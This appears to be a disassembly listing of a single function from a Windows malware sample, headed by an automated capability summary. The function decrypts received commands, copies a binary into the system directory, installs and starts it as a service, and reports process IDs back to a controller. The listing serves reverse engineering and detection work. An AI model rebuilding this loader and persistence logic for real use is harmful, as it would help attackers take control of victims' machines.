Function at 0x411ceb
Capabilities:
Check for time delay via gettickcount
Copy file
Create service
Delete service
Get common file path
Start service
Stop service

Disassembly:
sub esp, 0x154
mov eax, dword [0x4250b0]
push ebx
mov dword [esp + 0x154], eax
mov al, byte [0x425047]
push ebp
push esi
xor al, 0x22
mov byte [0x429ba0], al
mov al, byte [0x425046]
push edi
mov ebx, 0x429ba0
xor al, 0x6c
push ebx
mov ebp, 0x4275b8
push ebp
mov esi, ecx
mov byte [0x429ba1], al
call fcn.00406899
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x4123b2
cmp byte [0x4275b8], 0x65
jne 0x4123b2
push 0
push 0x4275b9
call fcn.00401301
cmp eax, dword [0x42a6dc]
pop ecx
pop ecx
jne 0x4123b2
mov eax, dword [0x42a6e0]
inc edi
sub ebp, edi
push eax
add ebp, esi
mov ebx, eax
push ebp
push str.decrypting__d_bytes_seed_x
xor ebx, ebp
call fcn.00406774
xor ecx, ecx
add esp, 0xc
test ebp, ebp
mov dword [esp + 0x14], ecx
jle 0x411dbe
imul ebx, ebx, 0x24cd
lea eax, [ecx + edi]
mov dword [esp + 0x10], eax
inc ebx
mov eax, ebx
shr eax, 2
mov dl, 0xd
imul dl
mov dl, al
mov al, cl
add al, 0x43
mov cl, 0xef
imul cl
mov cl, al
mov eax, dword [esp + 0x10]
sub cl, dl
add byte [eax], cl
mov ecx, dword [esp + 0x14]
inc ecx
cmp ecx, ebp
mov dword [esp + 0x14], ecx
jl 0x411d86
mov byte [ecx + edi], 0
movsx eax, byte [edi]
sub eax, 0x31
je 0x41239d
sub eax, 0x30
je 0x412356
sub eax, 0xb
je 0x411e8b
sub eax, 4
je 0x411e5f
dec eax
je 0x411e48
dec eax
dec eax
je 0x411e2f
push 0x4275b8
push 0x427540
push esi
push 0x429ba0
call fcn.004058c0
pop ecx
push eax
push 2
call fcn.00415908
add esp, 0x14
inc dword [0x42ad38]
cmp dword [0x42ad38], 5
jl 0x4123c3
mov dword [0x42ad08], 0xff05
jmp 0x4123c3
mov byte [esi + 0x4275b8], 0
sub esi, edi
lea eax, [esi + 0x4275b7]
push eax
inc edi
push edi
call fcn.00411aba
jmp 0x411e58
sub esi, edi
lea eax, [esi + 0x4275b7]
push eax
inc edi
push edi
call fcn.00409f89
pop ecx
pop ecx
jmp 0x4123c3
push 0x4275b8
push esi
push 0x427540
push str.recv_from__s___d___s_
call fcn.00406774
sub esi, edi
push 0
lea eax, [esi + 0x4275b7]
push eax
inc edi
push edi
call fcn.0040710a
jmp 0x412398
cmp dword [0x42ad20], 0
jne 0x411ea3
lea eax, [edi + 1]
push eax
call fcn.00401186
pop ecx
mov dword [0x42ad20], eax
lea eax, [esp + 0x10]
push eax
push edi
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0
call fcn.00406899
mov ebp, eax
xor edi, edi
cmp ebp, edi
pop ecx
pop ecx
je 0x4123c3
push 0x425c40
call fcn.00403673
mov dword [esp + 0x1c], eax
mov dword [esp], 0x42a3d8
call fcn.00403713
mov esi, 0x429ba0
push esi
mov dword [esp + 0x28], eax
call fcn.00403993
push 0xff
push eax
lea eax, [esp + 0x70]
push eax
inc ebp
call fcn.00416870
add esp, 0x14
cmp dword [0x42a578], edi
mov byte [esp + 0x15f], 0
jne 0x4122b8
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
mov dword [esp + 0x14], eax
jne 0x411f40
push 0xffa9
push esi
call fcn.00405dc1
pop ecx
push eax
push 2
jmp 0x412062
push 0xf01ff
lea ecx, [esp + 0x64]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x411fd6
lea eax, [esp + 0x24]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, 0x1388
cmp dword [esp + 0x3c], eax
jg 0x411f7a
mov eax, dword [esp + 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add eax, 0x32
push eax
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call edi
push 0x2ee
call esi
push 0xf01ff
lea eax, [esp + 0x64]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x411fd6
push eax
call edi
push 0xffac
push 0x429ba0
call fcn.00405dc1
pop ecx
push eax
push 2
call fcn.00415908
add esp, 0xc
push dword [esp + 0x14]
jmp 0x4122a7
push 0x421664
push ebp
call fcn.0041779a
test eax, eax
pop ecx
pop ecx
mov dword [esp + 0x10], eax
mov byte [esp + 0x50], 0x31
mov byte [esp + 0x51], 0
je 0x412004
lea ecx, [esp + 0x50]
push ecx
push ebp
mov ecx, eax
call fcn.00407f93
pop ecx
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [esp + 0x1c], eax
call fcn.0041827a
cdq
mov ecx, 0x320
idiv ecx
lea ebx, [edx + 0x12c]
call esi
sub eax, dword [esp + 0x1c]
cmp eax, ebx
jle 0x412023
push dword [esp + 0x10]
call fcn.0041731d
mov dword [esp], 0x421544
push ebp
call fcn.0041779a
push ebp
mov dword [esp + 0x1c], eax
call fcn.004160ad
add esp, 0xc
test eax, eax
jne 0x41206f
push dword [esp + 0x14]
call edi
push ebp
push str._s_does_not_contain_a_valid_certificate__Load_denied.
push 1
call fcn.00415908
add esp, 0xc
jmp 0x4122a9
push 0x102
mov esi, 0x426600
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [0x426600], 0
mov ebx, 0x104
je 0x4120b2
xor eax, eax
inc eax
cmp byte [eax + 0x426600], 0
jne 0x412090
cmp byte [eax + 0x4265ff], 0x5c
je 0x4120b2
push 0x421628
push ebx
push esi
call fcn.0040681c
add esp, 0xc
push dword [esp + 0x20]
push ebx
push esi
call fcn.0040681c
push dword [esp + 0x24]
push ebx
push esi
call fcn.0040681c
push 0x180
push esi
call fcn.00420656
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x20
push 0
push esi
push ebp
call ebx
test eax, eax
jne 0x41213c
mov eax, dword [0x42ad44]
xor eax, dword [0x42a58c]
push 0x2ee
mov dword [0x42ad44], eax
call eax
mov eax, dword [0x42a58c]
xor dword [0x42ad44], eax
push esi
call fcn.00418243
pop ecx
push 0
push esi
push ebp
call ebx
test eax, eax
jne 0x41213c
push dword [esp + 0x14]
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push ebp
push str.Copy_from___s__to___s__failed__Load_denied.___lu_
push 1
call fcn.00415908
add esp, 0x14
jmp 0x4122a9
push esi
push str.Verifying_MD5_match_for___s_._n
call fcn.00406774
xor ebx, ebx
cmp dword [esp + 0x18], ebx
pop ecx
pop ecx
je 0x41217b
push dword [esp + 0x10]
call fcn.0041731d
mov dword [esp], 0x421544
push esi
call fcn.0041779a
push eax
push str.reopen_f_x_n
push 4
mov dword [esp + 0x24], eax
call fcn.00415908
add esp, 0x14
mov ecx, dword [esp + 0x10]
cmp ecx, ebx
mov byte [esp + 0x40], 0x32
mov byte [esp + 0x41], 0
je 0x41219a
lea eax, [esp + 0x40]
push eax
push esi
call fcn.00407f93
pop ecx
pop ecx
push 0x10
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x58]
push eax
call fcn.004178f0
add esp, 0xc
test eax, eax
je 0x4121ce
push dword [esp + 0x14]
call edi
push ebp
push esi
push str._s_does_not_match__s__Load_denied.
push 1
call fcn.00415908
add esp, 0x10
jmp 0x4122a9
lea eax, [esp + 0x60]
push eax
push str.calling_CreateService__s
call fcn.00406774
pop ecx
pop ecx
push ebx
push ebx
mov ebp, dword [esp + 0x1c]
push ebx
push ebx
push ebx
push esi
push 1
push 3
push 1
mov ebx, 0xf01ff
push ebx
lea eax, [esp + 0x88]
push eax
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x412226
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.error_gle_ld_boe_ld_fn_s
call fcn.00406774
add esp, 0x10
push 0xffad
jmp 0x412261
push eax
call edi
cmp dword [esp + 0x10], 0
je 0x412249
push dword [esp + 0x10]
call fcn.0041731d
mov dword [esp], str.closed_n
push 4
call fcn.00415908
pop ecx
pop ecx
push ebx
lea eax, [esp + 0x64]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x412279
push 0xffaf
push 0x429ba0
call fcn.00405dc1
pop ecx
push eax
push 2
call fcn.00415908
add esp, 0xc
jmp 0x4122a6
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4122a3
push 0xffae
push 0x429ba0
call fcn.00405dc1
pop ecx
push eax
push 2
call fcn.00415908
add esp, 0xc
push esi
call edi
push ebp
call edi
xor edi, edi
cmp dword [0x42a578], edi
jne 0x4122b8
call fcn.0040afd9
push 0x10
push edi
mov esi, 0x4275a4
push esi
call fcn.00417200
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x14], eax
push 4
lea eax, [esp + 0x18]
push eax
push 0x4275a8
call fcn.00416e00
push 4
push 0x42ad20
push 0x4275ac
call fcn.00416e00
push dword [0x42ad20]
push dword [esp + 0x30]
push str.sending_2_pids__x__x
call fcn.00406774
mov eax, dword [0x42ad78]
xor eax, dword [0x42a58c]
add esp, 0x24
push edi
lea edx, [esp + 0x1c]
push edx
push 0x10
push dword [0x42adb0]
mov ecx, 0x2261c0
push 0x10
push esi
push ecx
push dword [0x425054]
mov dword [esp + 0x38], ecx
mov dword [0x42ad78], eax
call eax
mov eax, dword [0x42a58c]
xor dword [0x42ad78], eax
mov dword [0x42ad24], 1
jmp 0x4123c3
mov ebx, 0x429ba0
push ebx
call fcn.004029ab
push eax
xor ebp, ebp
push ebp
call fcn.00415908
add esp, 0xc
push ebp
push ebp
push 0x425c40
call fcn.004035d3
pop ecx
push eax
push 0x42123b
push ebx
call fcn.00403923
pop ecx
push eax
sub esi, edi
lea eax, [esi + 0x4275b7]
push eax
inc edi
push edi
call fcn.0040805f
add esp, 0x1c
jmp 0x4123c3
sub esi, edi
lea eax, [esi + 0x4275b7]
push eax
inc edi
push edi
call fcn.00411987
jmp 0x411e58
push ebx
call fcn.00405784
push eax
push 2
call fcn.00415908
add esp, 0xc
mov ecx, dword [esp + 0x160]
pop edi
pop esi
pop ebp
pop ebx
call fcn.004169c5
add esp, 0x154
ret